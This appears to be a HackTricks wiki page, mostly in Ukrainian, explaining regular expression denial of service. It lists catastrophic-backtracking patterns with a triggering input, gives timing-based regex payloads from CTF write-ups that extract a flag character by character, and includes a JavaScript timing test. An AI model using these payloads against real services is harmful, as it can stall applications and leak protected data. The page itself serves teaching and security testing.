Regular expression Denial of Service - ReDoS

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Check the subscription plans!
Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

Regular Expression Denial of Service (ReDoS)

Відмова в обслуговуванні через регулярні вирази (ReDoS) відбувається, коли хтось використовує слабкі місця в тому, як працюють регулярні вирази (спосіб пошуку та зіставлення шаблонів у тексті). Іноді, коли використовуються регулярні вирази, вони можуть ставати дуже повільними, особливо якщо оброблюваний текст стає більшим. Ця повільність може настільки погіршитися, що зростає дуже швидко навіть при незначному збільшенні розміру тексту. Зловмисники можуть використовувати цю проблему, щоб змусити програму, яка використовує регулярні вирази, перестати працювати належним чином на тривалий час.

Проблемний наївний алгоритм Regex

Перевірте деталі в https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS

Злі Regex

Злий шаблон регулярного виразу - це той, який може застрягти на спеціально підготовленому вводі, викликавши DoS. Злі шаблони регулярних виразів зазвичай містять групування з повторенням і повторення або чергування з перекриттям всередині повторюваної групи. Деякі приклади злих шаблонів включають:

(a+)+
([a-zA-Z]+)*
(a|aa)+
(a|a?)+
(.*a){x} для x > 10

Усі вони вразливі до вводу aaaaaaaaaaaaaaaaaaaaaaaa!.

Payloads ReDoS

Екстракція рядків через ReDoS

У CTF (або програмі винагороди за помилки) ви, можливо, контролюєте Regex, з яким збігається чутлива інформація (прапор). Тоді може бути корисно змусити сторінку зависнути (тайм-аут або тривалий час обробки), якщо Regex збігся і не якщо не збігся. Таким чином, ви зможете екстрагувати рядок символ за символом:

У цьому пості ви можете знайти це правило ReDoS: ^(?=<flag>)((.*)*)*salt$
Приклад: ^(?=HTB{sOmE_fl§N§)((.*)*)*salt$
У цьому звіті ви можете знайти це: <flag>(((((((.*)*)*)*)*)*)*)!
У цьому звіті він використав: ^(?=${flag_prefix}).*.*.*.*.*.*.*.*!!!!$

Контроль вводу та Regex ReDoS

Наступні є прикладами ReDoS, де ви контролюєте як ввід, так і regex:

function check_time_regexp(regexp, text){
var t0 = new Date().getTime();;
new RegExp(regexp).test(text);
var t1 = new Date().getTime();;
console.log("Regexp " + regexp + " took " + (t1 - t0) + " milliseconds.")
}

// This payloads work because the input has several "a"s
[
//  "((a+)+)+$",  //Eternal,
//  "(a?){100}$", //Eternal
"(a|a?)+$",
"(\\w*)+$",   //Generic
"(a*)+$",
"(.*a){100}$",
"([a-zA-Z]+)*$", //Generic
"(a+)*$",
].forEach(regexp => check_time_regexp(regexp, "aaaaaaaaaaaaaaaaaaaaaaaaaa!"))

/*
Regexp (a|a?)+$ took 5076 milliseconds.
Regexp (\w*)+$ took 3198 milliseconds.
Regexp (a*)+$ took 3281 milliseconds.
Regexp (.*a){100}$ took 1436 milliseconds.
Regexp ([a-zA-Z]+)*$ took 773 milliseconds.
Regexp (a+)*$ took 723 milliseconds.
*/

Інструменти

Посилання

Підтримати HackTricks

Перевірте плани підписки!
Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.

PreviousRegistration & Takeover Vulnerabilities NextReset/Forgotten Password Bypass

Last updated 1 day ago

Regular Expression Denial of Service (ReDoS)

Проблемний наївний алгоритм Regex

Злі Regex

(a+)+

([a-zA-Z]+)*

(a|aa)+

(a|a?)+

(.*a){x} для x > 10

Усі вони вразливі до вводу aaaaaaaaaaaaaaaaaaaaaaaa!.

Payloads ReDoS

Екстракція рядків через ReDoS

У цьому пості ви можете знайти це правило ReDoS: ^(?=<flag>)((.*)*)*salt$

Приклад: ^(?=HTB{sOmE_fl§N§)((.*)*)*salt$

У цьому звіті ви можете знайти це: <flag>(((((((.*)*)*)*)*)*)*)!

У цьому звіті він використав: ^(?=${flag_prefix}).*.*.*.*.*.*.*.*!!!!$